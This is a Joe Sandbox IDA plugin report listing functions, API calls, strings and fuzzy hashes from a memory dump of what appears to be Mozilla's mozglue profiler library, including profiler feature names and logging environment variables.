Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction ID: b43a99b024e746f77dff5b3497ef81521bc4a43fda2ff7c323182478ba13ad1a
Opcode Fuzzy Hash: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction Fuzzy Hash: 4F82C2315093318BD710CF1BC4902AEB7E1EB85718F658A2EE8D557E92D335E885CB8B

Function 6C65BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C6A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A7A93

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A7AA1

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C6A7B31

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction ID: eb805a557cc71c73acb2cf890751559337e9d58a37693480d16937fe35f10b65
Opcode Fuzzy Hash: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction Fuzzy Hash: 01B17C356083808BCB18CEA4C4507AFB7E2ABC5318F154A1DE99567795DB70ED0BCB8A

Function 6C678850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C6797EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C679813, 6C67985D, 6C679878, 6C679CEB

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction ID: 6d98e4cdb4ba5d77c64b6df662f6a3e74dd51cc53f5a203ab7bd10060c00b1c9
Opcode Fuzzy Hash: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction Fuzzy Hash: E6D2BF71A157018FD728CF28C590715BBE1BF85328F29CB6DD86A8B7A5C731E841CB98

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C6BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C68FE3F), ref: 6C6BB720
RtlNtStatusToDosError.NTDLL ref: 6C6BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C68FE3F), ref: 6C6BB760

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction ID: 5b42e74288275a96b765d79dbabcdf8626d36713d07171290019033c0f3b5b47
Opcode Fuzzy Hash: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction Fuzzy Hash: 1BF0A4B0A0020CAEDF019AA28CC4BDE77BCDB44319F105139D511715C0D77495DCC76D

Function 6C674640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7B0B, 6C6C793C, 6C6C79FB, 6C6C7796, 6C6C7E0B, 6C6C79C0

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7B0B, 6C6C7C72, 6C6C793C, 6C6C79FB, 6C6C7E0B, 6C6C79C0, 6C6C7C03

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C65DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction ID: a39475386c5918ebd676784b8f17469e4ce99828062bf41cefbf34d5986a195a
Opcode Fuzzy Hash: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction Fuzzy Hash: DC42D472A087508BD708CE3CC49035AF3E2BFC9364F594B2DE999A7790D738D9518B86

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C697710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction ID: 079eca84145a93ddf9a999312de41e95189b487121d3b2ef349809f951b8e3dd
Opcode Fuzzy Hash: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction Fuzzy Hash: 97714C75E0121A8FCF18CFA9D8906EDBBB2FF89314F24816ED416AB740D731A945CB94

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

processcpu, xrefs: 6C69CE6E
markersallthreads, xrefs: 6C69CE42
mainthreadio, xrefs: 6C69CC7C
notimerresolutionchange, xrefs: 6C69CE00
nativeallocations, xrefs: 6C69CDA8
fileio, xrefs: 6C69CC92
screenshots, xrefs: 6C69CCD4
preferencereads, xrefs: 6C69CD92
unregisteredthreads, xrefs: 6C69CE58
default, xrefs: 6C69CC21
noiostacks, xrefs: 6C69CCBE
Unrecognized feature "%s"., xrefs: 6C69CEA0
fileioall, xrefs: 6C69CCA8
audiocallbacktracing, xrefs: 6C69CDD4
power, xrefs: 6C69CE84
seqstyle, xrefs: 6C69CCE6
ipcmessages, xrefs: 6C69CDBE
stackwalk, xrefs: 6C69CCF8
cpuallthreads, xrefs: 6C69CE16
samplingallthreads, xrefs: 6C69CE2C
jsallocations, xrefs: 6C69CD0E
nostacksampling, xrefs: 6C69CD7C
leaf, xrefs: 6C69CC66
java, xrefs: 6C69CC37

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C6647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C664801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C664817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C66482D
__Init_thread_footer.LIBCMT ref: 6C66484A

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

GetCurrentThreadId.KERNEL32 ref: 6C66485F
GetCurrentThreadId.KERNEL32 ref: 6C66487E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66488B
free.MOZGLUE(?), ref: 6C66493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C664956
free.MOZGLUE(00000000), ref: 6C664960
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66499A

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

free.MOZGLUE(?), ref: 6C6649C6
free.MOZGLUE(?), ref: 6C6649E9

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C664812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C664828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C664A42
[I %d/%d] profiler_shutdown, xrefs: 6C664A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6647FC

Memory Dump Source

